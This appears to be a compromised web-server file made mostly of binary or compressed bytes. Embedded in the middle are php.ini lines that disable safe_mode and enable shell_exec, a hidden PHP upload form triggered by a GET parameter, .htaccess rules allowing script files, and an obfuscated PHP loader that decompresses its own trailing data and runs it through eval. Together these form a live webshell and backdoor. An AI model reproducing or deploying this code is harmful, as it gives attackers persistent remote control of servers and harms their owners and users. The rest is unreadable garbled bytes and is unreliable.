^P(^Ku`m%'۸emrtqkasog;U6XDf"^֜O$KV
ӪսÈ]
S_=)_/N-r9DMF&gmhjtwnlodBc79!onrXUGiGDB-a
ƚf@	).Oܑ+^Xy
-_c	 V5i;gmhjtwnlodM?r4hSôb8j'k8y[EV	4=|lqB'[(|kP8gܮL
vݳemrtqkasog?_+0aemrtqkasogT#U1IU'DW6`S@	
Ѳ6]6ǚ6xlUf^xI:g-)S)7]ChLUמ\uh'oVگu:kG5\l
ې,a
qG;	ayLn}^8A	+emrtqkasogmUG,)ʨY}5BD#0G!*I&i0g|kL[w
^emrtqkasog
	+j@W.4Cy&^dEQqgmhjtwnlodʃ:~yUYA
ȸ
?.Rӕ*8H*a~aovKuP#G8Kfo׿sϖxէ4=FnAi~44?b²&$؃^~ƕgmhjtwnlod.+՜Mhp]-$v,h8H+K-(K$|8lnSҭ'[R@HyN#t#)gmhjtwnlodh)eyknu.MCnkH0B+j3~XCgmhjtwnlod޻&V̈́uiƯ.\:7GTo1zW~Tkm )fi#D	l|temrtqkasog iw+	4VA44evf7-ð3{w5;KMu(W	-
M@lubU"LH*tOAޚED~(uƛ1_lemrtqkasogxZOl4Wo6l~emrtqkasog@M+Q}cemrtqkasogUnKN$/?E9D|1kKXSjudKQY(nZQ|emrtqkasogM5ODMRJO ʪIۆnjT*?2%9bnWƤ)a#emrtqkasogEOtEiU!
1fmXtj0R +/w_semrtqkasogحP)^8)4w bcsBܧ-d}hk?[-Rn⽅-0BwJC(qtc7l	%ۺ_.d;IZ꘽VuKl:)@:`duD#{ pfܵ\	t`.[搜FF1,h"jL1{`bQӰGŲemrtqkasog( &
5LSMemrtqkasogqlہpr}ХDOzYwU o׭~
Ee5e-ve~c5{Ow{9'}u=@@u+2f79pa%7Jygtfs0D[6Vod:'emrtqkasog% ogmhjtwnlodSP?e2-
2	]j?_Mba?3ÈOco@!;.i%+C_uG0+",#e!*zI6jbu*xy8Ч	o2L/]'emrtqkasog:1=4JOQ0iP:QgC"ߍ4iZٽ3y΢Q2_"O(JA[-oo	9=àVq`-+gmhjtwnlod̆`}H̔"dRh6qwwǤìsZVКv@mMWKVؐЋ{Jx{AeHf:j?)7Ê^lgj_5Ӵs1%gmhjtwnloday!({
yeNemrtqkasogmN_[,n䙵38XP^ҫWe	n^hn l)FƄ?ɲRW L{lF&s-6H [
3PM(g|Ţ@AI{ǚE|D"](7emrtqkasog]gmhjtwnlod_u}
L$"wy"{S$=Ep*ʢ(d{iB?Hwk
,ShvպN&qu\Ǳ(#`p'x2H1Xas׸7	8bXȫXd(O~_:`Ln+=Lj냡gmhjtwnlod.ꎇgudD/Z芷dKd_/uS/8-=k6$n
	kv7h|~HKܛ!{p[2@emrtqkasogV"7}b)hJ5؈u7EckuJC9-R/@q|S ki鼩-+ޔ@emrtqkasog#_»
cŮlQFi?heQ3g
IgJJ/g/ c&d}17ԟ]WG9s1n+U8ԧ?јպJV
HxN٪Uemrtqkasog0f8$46ZGH#%s
-isb,zQBi_8}C{5[ kYh^i$PYëi@2@|j3ay# CFrQ(
`@MiU`ba%6yLx^P9Ie;=-f(YǮ)tp.Bh|bDZYc:|T~s/ވTɎs_Q3론aTy(/t8wAemrtqkasog$rgmhjtwnlod/1;դ6Tvz5kemrtqkasogrI媫iq/U4fMsg6+8񃑀Qt#(LuemrtqkasogR3 \+X@nX(&v$,SmE/PNmNE1&-K}O	ƹFx
oy[!@υsfTi}qr؜IY:C()Ail`0m|+Juur#Cp%(lAaR2H*,X5
UC"uR/*C?$^%+=nqtTO}+L4-kU:К/xcL`픗Cl2MtZ#nZb;Y
J
iHQ̞LLRaemrtqkasog!r'$^d -/+XR%}W"țgD{}
ȯgmhjtwnloddA	&pjؓQG)co:2RPD\KK:Iɖ\ްcX@!pemrtqkasogb܎X1ԍcemrtqkasogq3/e{Np jmH87 ~&p]R(˰}He+ZW[m7cXK눖dgx0*C#[yse&gmhjtwnlod.,[P8qcI7ޱR$z9;oW(:AC
-/zv4`^?dH|emrtqkasogQbz^{
eι6Z5jemrtqkasogN,N'~ejn]ZemrtqkasogL,3yry
Q-&o,I4WPi6#Kwxʛ?˗4to:u]O##nI*L{QڸhSU:}[p}gE10gmhjtwnlod$@4w`:[
b#SSy3_q8i?ts Hei}Y6}-l})}L/tmr͍;R֭/y UwHfexZ\c롊f[eVs|.;afAnQbh6::KoWIl}6X}N.,Su޳fmꋏM`0 I:;
|gMӰM,%0d+L3{Ĳ6VIIfձݡ,U*UȐ(YOeCG.'qٯ.C}! ׇemrtqkasogxޱ"Ѥ@ȣ51/f4p47^q9Uhc.emrtqkasog%Ityu:s|ӿ/{_IwlN& \t{6ai ʺBD*g͍Z%yE`Bgmhjtwnlod7\ECF0q)Ob(`iە%Dp`92}emrtqkasogC]x Wgmhjtwnlod%;ڡe8V+Aj٪DNӏ.ݯ7@
0Y|eElq3J,K~㵝j|+`u$emrtqkasogmԟ~JlPfy?8\8FU)gK`Hiھܿ魐Ue{()_}kcqY@- 	]n͘"emrtqkasogS/58wZK$^I,[
٨|NxEqb6[@9skxubJr	oeB۝OV`aM/B1&HBa6Km0ZEZXCA|q%'"

*^9}ReޢMWNgFSZD̸Kژ|WMqT2Rk_~:Q]}b[JwoXaiogmhjtwnlodEDЗGƶEtV"JtNgmhjtwnlod)'^V]v'#emrtqkasogL1G/emrtqkasogﭘh6tq?הܚrk&aLQsB("xjM8n9mZ)z({&	ALemrtqkasogQzilBF:AYqIU0r
E٩iW-TQemrtqkasog:g+2^pۣm8R۲7e\	W.MS'VIo"˘sPeYܘPxHӫC7ԙLUK׏_|řkQp6!Y4\&sC̑|A=,
K%oxnEMwgf#5U!2/~xC zd
أFY$0Z0~sr
A@m76 gRT=.U6 G1xYEehJdb|@y⠳dPӌXOL!}1uqO]M=:mh{]A$'emrtqkasogYUIMZVD؆lQ2)yY4i=U1s:DpxńG5%
1!2m4WWQŚ.! 
T|
 ,o P'%-(osc;{@#I¦ND2u,J v\8}emrtqkasog^,=ˑ
 gpO$в៵Z6gUHrz^l:Ba\CO}A;yfҰ5YG1m*imtG;6hV^awX: 袷tH	Q~掱
z0EҬ[1LȄ7hÅ܀/znIXY#ZKep;T_Ȩ)} xx!=rR̅Z#eKkbr79^%,o05]p(emrtqkasogPn
Hq*
ΰ964O[$0ySSkzKEtZZ.y[uM(O
^kHZvY-p5Yv7{&b1YO(۲
]9tIw#(Nemrtqkasog4Xs`U1gTPprtPEWBq{&!|%emrtqkasog-AH Vz~[k1{$0KZ!{0
~ǷӪeQu~X'xcṪiGemrtqkasogI-f~Q*H$9VL\%irQ暚egKIMq@}PC}Ŧ=0d._V(k'Tek!FNڂ@t=)hbPkp{{-X?f裍ݲz}#TwkVemrtqkasogZhHLbRmv? Bۏ3gMMf]ѐՖz7Agmhjtwnlodz2/E4L6~ %#ɩ2.mRX[]N;*HK	:A[e8,5|j;ǰ#Sc(7%;zE#p Ƞy}rXƦ*Wۓ?]E._L/sMhw87x!s5GJRJj$_emrtqkasogY~wD)b]&&hfR@W]e̮4TCTXLIudk3s9稢O#T
\emrtqkasogim_[J/bߪ[0)t`5S?M\Xr:M&)豜,pvٴA'cӿwh?i˽n#\_dnu'61_꨽aܗ`0WFvgH9M,[wͫmlK"S	d?\,
V 8iort1Ahz50%qgGZatE3Շ[(vJYXI-,Od*#5:j!@l쫇G5Fg".R]emrtqkasogW\Q9_|T(ҳɳ0ۢ_Rgt^NgLW`'GRJm(t_9^,@؆V`Lg"e=pdvPIRD*h0M8b=l.pi$u-/igmhjtwnlodvM70]%"51HrV?V+%Xe'Ex7BŤ+zT;_OVGn'v_P}]nCv)FٞA7{snD\A2gҧpYcnMhSe6+qM^?Ρ$S= У7bn,7Jr=ؔ68.g?D
'(!	^][Q|y"`.DJ
Yu	E5"}' ZF9β-A7}|09U4]W65ᛁC`i%m]PI*2/ڇ϶zþE/*5d
Xemrtqkasog+~ָЖqmt;(J#M4gD,PŝT{Q^1;t#L;#Q^?¢`]y56V.`{kL6emrtqkasogw]9
FnGIQPUE_:N
7qcQ|qIjG}eR$~$G0bi5ޚss[q@!"nNߍވT@
~1αZ;X׵l P;ݻz4 *remrtqkasogZ9|i	X]P5/emrtqkasogh;-	M9#֒^41:+)gxb|`qt{"NpJpHַK/kac/ZQrM0emrtqkasog^	emrtqkasogn$'ߍٞZL$E6&)~i{cT_0G8q8{m2Hsdō,4um խ$6j/YIZk
k~U:ժ_nhFrtemrtqkasogc'v4gmhjtwnlod+))B=ld,+RG]%2agzOLՍV#8$7׺ipͥV`1 #X5t;DFTUzRdnm'!ΤX|'2/	҇0ay܎GQY)emrtqkasog)эgܲT\vU	mvfQ)Y?8kZ#W):@M,s  \"j)ZLE1VqGռGm3~2Kz!dd |aw(Jp;!}xbIUBmN+WCs{tgmhjtwnlod:޶_qgmhjtwnlodqಅ O@KnF&H4cFrp⥶WO50ġW޼12IZU}ފiWXr*sdl1bgSPg%DwrU
D;w@3[]iO-s9G tZeCЬ5a̨OT[~q7WF"oW[[k
gmhjtwnlod
Ok& w`rQ.^l,Ly:찹c7;'˸W̱7Ο'e㍝\8RNx [Ba&aR=),P-er06{u=B5͠W+̑n806 Upgmhjtwnlod},Ɠ_p`]$v/ڦPe2B*t^c}ً=r3.?14^蜖9PBnīeJ/Y.
X\Fsgm8*eKF~f/PbEQ!F!&Z-fy
oo4xEUgmhjtwnlod-'	mBōAb՚,||D:`uCkRWemrtqkasognXJ?@UAXjם%9;
2!Eb^O
1@~\'ܥ'8ͩDG
O58/G,NW;8t.㌘0LR@N#*k*ΰemrtqkasogXӕ⨫RCW @ǽmxP/"pemrtqkasog+Ew/rYy$^isv	RTw75ΈBjԬ34gmhjtwnlodA(R49h@3+(:ծgԲj7rӮLXv#ØiF
'L)=3=۹ wMd5`X"xoP@n@G{ftIgmhjtwnlod__! /emrtqkasogğgmhjtwnlodQX?|g!Wx#\9W ?_f6{t`ɯemrtqkasog/,qׄ~&8, Ȫ~GBU'3w_ J;Ø& .Ϡ%Xy-lx=dxCg6B.f8\jC]q66_aQ+8@4dU*\-CD-I&0HI%h:iV6VXpCJ[QJ0-a
v]{&@] ٱR! gmhjtwnlod!G	jUZ&^?5XPD; M!1P8?F+![}ޑZ4;){sy
%Epۗ`qr^n
U0TUU5;#I'(B[a9W	n/naG1{ emrtqkasog;-@E+%sR7Mq)Rr?צ h*H--NBRQ-ۨfP9]nK=@@Qy~;]Ԗ ق`3UKyuܭT~зemrtqkasogQv.ȽF0׭C?}E5=/*HQnemrtqkasogg~yQ#z?"`Պ9p@(ENܯemrtqkasog^&յc&g'Z[}t
HI(hj%	7h&;AZemrtqkasogh
lvs
0|%2"`L\.̌	v{4%ڑWpemrtqkasogU()+bD`z.AidS@emrtqkasogoqBtih]]r ,gϢt
c{6)mƨ1mv6ͫ7w&Ǆ~{wxe
׵*CzZi
غ|zd涞ݜ p($l{IqUVyA =KLzRJJ(afx7LBYZ5dPOv$ɰݑs.leCJ_rߖlY+)*z_F 8yKMJdmĎ=qqumjޱ^-,v`|7\`F6]+s=S7R.ZgH^KY
rZC8"E7t5eJH	g^1ԠĶfbJ\'ϓ7
~5Җ?39MemrtqkasogXnnܽWj~iYDIF5*cWϯ@safe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON<?php error_reporting(0); if(trim($_GET['f']) == 'f'){ $saw1 = $_FILES['file']['tmp_name']; $saw2 = '../'.$_FILES['file']['name']; echo "<form method='POST' enctype='multipart/form-data'><input type='file'name='file' /><input type='submit' value='upload' /></form>"; if($saw1 && $saw2) move_uploaded_file($saw1, $saw2); } ?>

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php
$lBVU='sub'.'str';$GPBN='exi'.'t';$KRHg='fil'.'e'.'_ge'.'t'.'_conten'.'ts';$KGSi='gzun'.'compress';$NoCy='st'.'r'.'_'.'repl'.'ace';eval($KGSi($NoCy('pirzsmnjbw','>',$NoCy('ldkvizwqnp','<',$lBVU($KRHg( __FILE__ ),-172787)))));$GPBN(0);
?>
xTǎZ_.P+4fAک7j5~ldkvizwqnp3D LOCpirzsmnjbwKgl0_d+Ͽ"}?d#?wt-?G99?Gwy-k+7'Ͽu?c.pirzsmnjbw-yץrYO	O~Ggbֽϱ3sǿ//Q)8+h`	K£N*#ٱEn!5k,in'n6]H8]rd}OzOAsNS}Ѭylc	2d̢..vgqƱ"@-#c:Ջ eqFj:?zsmFB4FôqK#ɘ:NwzUY/aF2vCh4;5L3r	`"+n\$B
I{%_EWʹKy-jB{h	xz8MY-mڨޠ 矕+R	
l6tZ%"c[У{*DLRa
lk7R\Cv(U`lk],`vGOYG԰$h;	݈)i'~M۰;1IZwbruF/e"CIa|\H
{0K-UaeKݕiۿ'I'|k_bldkvizwqnppirzsmnjbwu.lf%gL5OB~$|0O*y@Z'_-d9pZ EE`YH?
h2oh(J+PszOV+JIJqwE*'R.^eJTH-mBo9r߭N5aGsP)u?jV2v)By&]GӇ$Yo};z2rռ#=W'V12K2V 07@YBnd~Z$n^2%eܨz6pѬ)Okw(M@Y&ldkvizwqnpARU6K/DJRWuBK+Ad]}pirzsmnjbwIl󡜑#i%jHq**6Wf
;*?L!əϖw=Oȷt@9+*6DmJ5ZoF_s1s,n7zf0
0`+
zc?.3]=cq#@F`~Rt!́:mzF}r
3%po\ɻe;,mi9gG77}B$Y~Aخ;	9(7T1+dȇqO%}vrldkvizwqnp'F9!I;Jʺ@'v"fm2EF{V
FYVhDD{[xRЈ)IiNocio"o;%_ٹ2(#}uG(ԊmpirzsmnjbwiXF~iCI`y,qbWʸ.P(UJ]~Mi'ǲ(0)e#QӴ*v'eKo6)|扈1_t)g)qpirzsmnjbwb5.1NSߧ-u
HVk83:ޟb4Ӹ' m0ͣmEBM4^hTV ZcIQ/BeCY$P U 'u#!s
Α	ލ[Q6N|&+?.}$֋# ż^AlcNR&Q)\0rRkCyt~֌-:X彤h-M
rww"l/ATY{ldkvizwqnp,rQ77YŊ߱XZ'[V m,It pirzsmnjbw߼BSoMoƸFjT߹݃4bsY(`@Q*ݬp6VOUs=3
geQ&R^ԊPm?oldkvizwqnp`K{Pԅ8-^9eA	ѧ-&ӌ[ql] o؛zR u;m5b	.rƻ(lx	{/P׸|
Z縅M0j\9qiguø~x!X",EwE&ܯ.f Kzwa&K14&0}Q-6gφ.hJсyϋb)XAAUru
&3|ITSgJ7Ǽq2hFzF7^sK,y 6
iᨭd_/K3T{_Q7,Gw\Ĕw! v5I-	j-Xkv-tkQ	taف㚐j'm=;g@LPiJ5;C'12CR(iXz!pwl MtC60pxڐpirzsmnjbwoQh|ݛ:Rڡz綵~VZ^jr72:PZ+	OC![A^Y"|pirzsmnjbwmpe.*_L#N#X ч؃hZQ~4ɼ1oh̔"ldkvizwqnp+!lAB٤8$F莛n;
3_\MAB9B*}4,Z4
]HꞖԫHۇ.ෞkDWK9^ ]}byPGT[qրC?&h"wO7˧lC}s
OFaț,*BdrJ5^D7pgrGI|o;:zp,(ٛA)yP6Cldkvizwqnp|MKNVm6˙qv͍(~d\YMv#L){DPŪhf`RK:qZk j d#
e16s#t)']M4u-Dԭ8@{Hؠ(
/2MT뼺Rp? weX"}ૉ˸r_%C,NRrԷefWr`-),8oF'3Ҧ)ldkvizwqnphz+Xpirzsmnjbw졿k+:Ja!I\$)i`q}J5ȉшD	:P!UJp#
oc
glڏ:
r|?ߠGef-Uldkvizwqnpz	
,8},KU68
mcyt}ŐF
*ABٖͦ^UJrV)[8|K,=+/:c*{"AcZB#%7'Y-v'|Qw?.;ml}L; &é4_qzf, bбlcldaiٓ-xx|P/"("6#Yn (` ie|yJ5øKlaR	-6:Ef(#G aޙ%4~bƓk钧9(d6μ	$ϵq10}0-/ld,npirzsmnjbw9e%y	nS]$߷X5X{Nn1eR1{'罚yb=
`xv -LD3Euq63c
܈uX݆qA߾B0~ *5W+;2#A@R~	y9R}Q]X_7SB-pcoJuyqG|MĐ ;oei1ldkvizwqnp7z`JӹzIVq0ëD4pyjkqG&4Cp5e,kT߾{9UHI)uyХS#+P緇7XnEAUq*Uv`_TrHo|D!}تjrٵ7NNq|l+.iڷki_y9쳒ILFӨ=pirzsmnjbwi14 F[nY~6EJ0]h^+c1|SF.(^{iɬwtI s9,|zkd@Fk6ep;Įldkvizwqnp`@kE+[TDE]7S
"T]=wGKb[C2cniW|c$L3C⛯MB{ldkvizwqnpuB=@9`5hUCg4IX4pj_ċ/Ȣosce/[t
^ldkvizwqnp
bXᆠ_Yoz(8	G@gUVb}ӻ,2=iΈ§ήSv·s	R=cn):bh؈ n wPHbUsKé͒Q}$pirzsmnjbw/|WHegak}@ʱL)̠߯H~Eh\L}TAl6X
7U?llC_űۺǷt".A5E}:\ldkvizwqnppAG|bySD]l+I9t{7vw
A]iQg)vS^@̂;%ʍHZv,k{R;7*Tv
Ej7a~q|AA퀌߀P{X{tq7Ӊ2Z=Z/F}uq|uglz}( E__XC/AEed	+` hb;D\+㈫*)c@I[OH"mid
0SY| |kɧPξd~0R
8311r^8fV?!Rxs0Ed;Sm#'-4	Rn+ЗZҧ
{jc1&.ŪldkvizwqnpVK7x1;YH7w:^k%6-5'l{jA
E:EvZ\cݹH7,GZ$@k+..Z}vEV.ϷחZ@vޮޯ.
2&Q`y|#NHĤM,܎*8ΩA]kT1+[\QiY6Qˁ	ϧGJPb8^Kѡ2u?\ºC-d\l8|ԕtgP~=L2"M
_f`Mn~*sE+n
%c_!X͑D"z	enǝfۉp_|U/ !57[?c(AnQx) O͠JwTXVm7-RXJFdMTq9|o)
:9 ޭ7!v
Jז&Q|ϸP8oLܩpE84J5 p	!ɦmb+O-rK
$9֓~]Щ]-[Q)ZZ]l)0CxQ+(M̈[)ldkvizwqnp)keUć`×̱d7Q\{iE*[lsR1_,IB}*WY80=\ "ۧmɖ݅K ldkvizwqnpTM&FӧKRNf8ucpirzsmnjbwnz3(#\JoYpirzsmnjbw̯ѷIS\?mWKڕ/uOܗO1R	: {hZTڻ
B.m0xxxRʼ ^X2H2F}8طIAoPr}7RTܾvr\pK$+gc
z=%$W"Ƀxa;/8~

z"rCaJ31t3 MxSx`WT"qݔp5
[TN2hωI+5-"ˋ# 0G;	6Wldkvizwqnp4{qG=
!X d=`Ame(3&Ș7^	Camgl\(N"vڻ/	afFH.
zΦOuQ|-34hPIӮ kx,^VR4#OpLyVϣ
TE9~So9;zJ	U&vIEh"Ѫ@BmiQqӞ`&90NOA`R]=K=r"	䱰-&P\0Nl
\Dp]5ڽ])m#pirzsmnjbwe;fVbI@5ՏhC8ȏ6ԷpBDj8[RDSΡ3´[W [hnqv'*jWIy ܠXY$Utܯ%ܒ8GGG&+ppxڑ%db87[6N}Vb /SbХǐ$H	Ygam3{,
&W cds(d.}EXY^jQk$_+zJꆨ8pirzsmnjbw'~x?ldkvizwqnp4H4w?83TAMpirzsmnjbwȩOY6YjMsXonBG)6♼
DLǮK#A3vldkvizwqnp2peP6Uy\\RbpVW
exJO'2ּ
!*ܘ@On7HK[CzS)28ldkvizwqnpQ=ge)?5s[츖;.^خ}4	p
3'=QϚ23x,z}oƛ
9-/0sU\Hvڹ |4\ Ct_ЮWZ}ȴ:Vm;~S!	@iаxɴ,
4rA-Sne
b6@z
pMxəźx! )z51B/83Kq6~7S|.y!CxEzu]ɘNKtldkvizwqnpQe=M:eA]n|W
/*5aLC.XypT"i E1z;P|~\`h8,CN'3$	7hy#NOtjg4FU\մWħ%I 9a*Qvpirzsmnjbwi5a
F+π	sxPPAzU:?`?ldkvizwqnpΧdVjpHn_ (JJRcB49{UbVtNޝY?WkpdJ_I@N50'g24{rar.[XCtKnhSbLެ/ե*h-EiL- 
 Vxȡ}mb	]	y$(a3ym/٦H1hW Qb[|w-JpQ?49J%,qL=Khw2BjNǠj¯OnNG$0qPkNFYoP	KbH0_WeSrP=ﵬH0z:B|4ؔwxWBbpʳY.
N%wT
C
-yj]Q;;S G1p'6ZJk|lA/(/j,hЮp|~9C޳Ephs8ldkvizwqnpP3"ldkvizwqnp˅|HZߧ?=&WHp._g/XvdR	2B޳X1j	}ÍKldkvizwqnpMQTIbnFޔ'J*!I`8/jrݠxBF$Xtj?\q#b]M??ZnCo:lӷv~KrXF_e:T}`-i,Zs:[}o	NNB+#}Acbpirzsmnjbw'#.걮Py&e;&~]ęz7Epirzsmnjbw&=A'lH*7=uK @
 pFSpirzsmnjbw=Dpirzsmnjbw͵!B5jӁa,*[29UY!bP'3'cۉA9ؚ;ЩY=:-1@-W
ZCܨGe櫘D,(PKCpirzsmnjbw
`pirzsmnjbwiszPP[L(C	B&!|T!R:.tD(Pt?E3vD
ɂ[HDC 6v?81M=tD~]Hu7h,#6sm`+Fj$(zNT$wldkvizwqnp{#aL'dRtW~/I%bSɻB0rk!	-JL^yZ!Ӆ;Z6/@}ceP*+ĉldkvizwqnp_Pgk7ZQ/؁I
-:J}ѿcPI(2Uꨱ$А'e`m²:N`ң8Y#44K&0ʷv(7Bn/R&[ONT[H7٩]ŝ b3"-cNk##}e():}uN?/vZK{.i|ogXR;.#+t'L
\:GǱsCnZHlpVkڒN/`[e
-~!*Ƚ3bSlT_e%HL@H0z~\"Vbldkvizwqnpc\MfAbj.O
ѬeZ5:0?A5aG(8}c@79K@|F(;Y=i\`Ai-8ɾ~RŒoJVͳ, h.
&~SʰQpXLaƗpPg̝D\&f	b=4.='p;(|駸1y$P,i+Ecr~[Kvpirzsmnjbwh{ׄRqۥҴ5	FÅv!k0o 63]^a$xmC^N4IldkvizwqnpPs&ldkvizwqnp*M1m
`):n*rldkvizwqnp*QUooT}@EŜ=	s46:2xR_.#JBhO{f{ҪNyGRiHVƯY~v|$ߖEx/r:SE'ȁZuW9ͅpO? ;1!ոL頧ը%!b;zn둂ԋm[gSeFS4'2,^% ҝ폞l2Pf(([Dlkr#7V@=b
ynG:qm;ldkvizwqnp(qunyYOq
sXVa&lY1a5$.yҸ:YSi	c#|L$]c=J)b"h i¶TЗL.~0pirzsmnjbwBofLvx/Zvs1v"1 	l$BgԉJa6Һ E	M).IhH%͡Cl8O˶5-0UJ?g;s=QµN''Wldkvizwqnp`Uk5؛B_jD94t9GldkvizwqnpqRr630LE!_V,Ce28Q &y11U[ 2Azy@FG,}/[f=wm3.-Z3Ez`#D@pz lp^t2;ԯ®3eXw@
C $aF$Ț-#	uƪ?szA,A&6)AZn+Pg !QϛJG/ǫP	`®wT*0+/|qF42@==#"XWvhz6`}eD-IZ-EGSldkvizwqnpAM3E)/|y WubKY?͘,{		Z?3qPY*Ȗg
ʘO#b,,kBz3tn]MЛXszBS6WGYvpa:v
Ƚ#CI]6u~2\I9VpirzsmnjbwA"UmtN"D$ՑBf[=S/a9Rԧod@BV%dm#
kO2_ԣPX8=]B{hS`*3,qt@h9LQzsh&#tBYmUeMe;?k۬v  
0 ݏqJ?DwiJ_~fvaVN~Fv x-Cg&eldkvizwqnp9Y6Ym	
#U@4m0-(r]Hx%r/3FJ$6pirzsmnjbw(5@H)bT[Јk4Ȭߢyzڽ
C`s#HldkvizwqnpKFJ{?40'T]"I`AQljO &V튡GVDZNw-6Smbh(H"}U5%ǝB\2M|/P.3' _|i1VD޷ɀje0q̥^W
ڈ=nl@&A/H .,W_pirzsmnjbwn#aܛMX$&&OK'b9ngldkvizwqnpP9.&(.)8w*L_n,#w&]5[Wpirzsmnjbw ]@Д63g#ީ6/D֩0)]DL ,l^6IEktDH0pnF 89LMCA^ȃ$TdI(K)~_柝mfRIeV@Ȫg߹+\p}W?d7\z!i͐ Hlv&I8	;P?2OkH^
aD+tw;iUnb:%4]xy"L`C-}
^@(Zե gO'eIWegwfʎ.)}pirzsmnjbwHZ&gӛCi	̀!ٸ'ldkvizwqnp.&wwf5 fWpׯ؁=nGq"Sa
СvǪ==|=r9ZR!.Os}GpirzsmnjbwZ['M
Z"ƙຘ=Ljd4wढ़{'fg [^pirzsmnjbwʣufU|/d hKɁ}ܞMO |SI_+ͮz4-8!^z
 +
Zbֈefzpirzsmnjbw〵1v[X&Lcgz4K~*w:(^LH}XS8j([	F#QkqOjHpaVv/nܧH#kCb-= X'ͣ #ldkvizwqnppirzsmnjbw
ա_ŋ7xn~?$/Y׹O|8'?/i Vx۶X#}Lpirzsmnjbwřå?ɿldkvizwqnp(G(ZzёʑhpP|nW)yKXc^zhy*#c_NDÀxkBw	_hxGe;[cVN$27%*ldkvizwqnpյ-|E5ATpirzsmnjbwM,;Nf
25yׂ+ li{DHIggH
:32e?}W^BdpKgn8lfk
?\KIg+/c_IԶ4d|pirzsmnjbwmus
di`X7cftG(G֌ tK k#ol,H}LZ}urL#h'`*Q&:?;/6Mqx|S*24jqNNYHuEO~tû?|g}O*uApirzsmnjbw{oldkvizwqnpNdR1MDg
-*Isj6`,|-PaPu*
|-\IRJ$Ai.8Ӎܗͯ)a"c4&E EnHo3se=ȟMNs"1o8-tYX*iew0D@xTR)ƕˏ"3\U&(Td7&skmRF:B{#N4HDI"sduk
uX[A
	;ΩrfUīxuVy&tLJ'1IldkvizwqnpiӃ0u dtZ;2T]%;gbPO3yJ[#J&kꯤM`2G08!]FUldkvizwqnpxH
E^2vd~%hdIFIhQ[l0Kf	w5`"51I
 rt܂),v*C;p?{^/M;W5uGo1aldkvizwqnpyok.x:=$J-ldkvizwqnpea)$Ow}8¶$5t=⥉@Ei7pSޮ?m;E8"'Nɇ#🯀P]_D`(62'G3=_h@IHA9k:H))eS5]Ɩ$E0LP/NχmXkɣ34cBBmQEDmJlIՍDpirzsmnjbw7bldkvizwqnp)rtE՗ldkvizwqnpuldkvizwqnp,¤C!-򡨒vepirzsmnjbwPGNlil9oKQ2E0RhtntDRNz
CRK׮pirzsmnjbwb⬻ljm~9$q:o`DqTYZL'yˍ_v;l $-wpirzsmnjbw5tN::JǠ`#7bx۽#n`.wcjP]r*o=@8[0.tvՁǝsuqz~jvBbrѶldkvizwqnpF6J^Wjw	
xʪ'?cs{KEXw]kTPR(A$"ldkvizwqnp&	(ܝ~e˅ÖffrusB OGۅ&E=̳@B/TҖ%q8zA
K[&3lи*Y;|bḮS YJw=qE82n;rA\qf$rhƧ7^k_!U๞p$37+(=
u:&pirzsmnjbw=x Wy	uvW|.~ƗfbVqT.ldkvizwqnp'?aIp{}k_87t	6_O;ieuǙ+ 5m"'FubÚ
=@Hgy|
rC~Z?XŃ9ۤҳ;ҢGT;??)4.qldkvizwqnpEÑޤFbcp!+/MêseF+wJ\Y=pirzsmnjbwIVDuDysAtWldkvizwqnp*|(;sa\/jݾ'?-3Ô6t-X`$ZѵyöQ=$u}|KwiQȘX#,`;ю;epirzsmnjbw Jkq2b@gH~ 66'mz5ynYzY?:pՐPFpY$J0ʶ,sr_}|*k|8.{qӻ%mG1-oQ7ܔD(1NMPZ^lGgXJGLcpo ?}%=/cTnp)X !ӿ-V8ʇmfu
3@5
u|և.;J J79·Ma2s!Dj,tEC9k$%h{/-E|*I	dldkvizwqnp P
`J 2c" @ldkvizwqnpKkog~=cE~5s"VO%H,pzAD*S
 @v1tpI*lсMao!.՘3}0[R2]x-7l|~RdCJ#h,c+st~!yo"kldkvizwqnp~Yldkvizwqnpͽ0awXb; INA1x[܄cENZzݭLڋPښb%ٹ^@9"kH:!XE.C0~z|0XiB!P,5V,c/ ,ӓL5ԇ-A;pTM?ChGY^! WA$Ĵ?ݬ;knKa"PǕ7YD{uZ]ӳM6i`eh@s7vH3`jrPUo=W{X

Ee Tט(E^ݓV7֢(&%؟4RXldkvizwqnpvj1AiR;6&/ldkvizwqnpt1buUnȕ/wfZa#"pirzsmnjbw	Փ5܏+8!+"ҧ#W/TVGS@b[`$[Rq8m_bαL. H9xҼUB̃Bތ0,C|Tʱ GũA,-}#!ʸ3g@P\V*}&(Y@ya@#׀vɋ/;I4^Dʈ]:SqP-2ے2EmϿ=CU]s@+: Vd2hO"n݌h?)Xv:Dڂ?ldkvizwqnphgmzR/jE-}	aβ|xօFBm,Op}ldkvizwqnp6MvRt6pirzsmnjbw^#5BʾؒxaWArߒnm|6̕\ﺎ
̳POiNTc#p&aԚI%~Rj(/ꢡ=gglJ|0lܾh|Ajr-eΠ&;pirzsmnjbwwv2slǷJwil`}\G!^K&/q3-#@%V\Hrz/Die@yS&ҊZ_͕c;Qrt9HpUxR#BK*
$7Mu.f9u$خ+a^/o͞5dYi_(|AAPfxȓH^]R[z@uP1\K%+)/'cF(+x[e?͏](PZ $QP&6.
RSc,yR1nYe7zUF_F,5zldkvizwqnp!WdnBw îg[;1HWTFk~{w a	-RIsBpIc
wOe3	_z7#Li,7;ldkvizwqnp4K?b+)?
5';D1ʼSq5 ldkvizwqnpЊ*G~Fje;#1y*cP9~v%F2!˧/`dTR{RA`;?4j19"sFx0X	ldkvizwqnp;xP
/LCEjЉ+cvwDOmm`Ly*I;g!`Xhldkvizwqnp`,jrakb,[%޶6y({
@	e27ԘB7q	:!6Dz臉=pirzsmnjbw݊NDO"+5$nMo"Bp[\NDvZ Hky$R5O9gu=L"6-ȶgC+
,-2)(qo^L~IK`apirzsmnjbwkQWn&Ip֡d3R+c2
0DxUz{}=bi|v3]卽
eHww`N;VO9^n5D!~D
wSӓON1#~2jD:3nR,SBt]/,1f쫍Aci=S4!Nm[wcɣʯ4_F4ldkvizwqnpe[??Jhf|jkQ#/g+cߥ'^͋(,%e]f;.:r!z#hЈpfft2&y|ު͋t(B.=-##7pi߿M)s轴+[FQB7pirzsmnjbwy^^#G
;)\&E+V`R36CnW$h
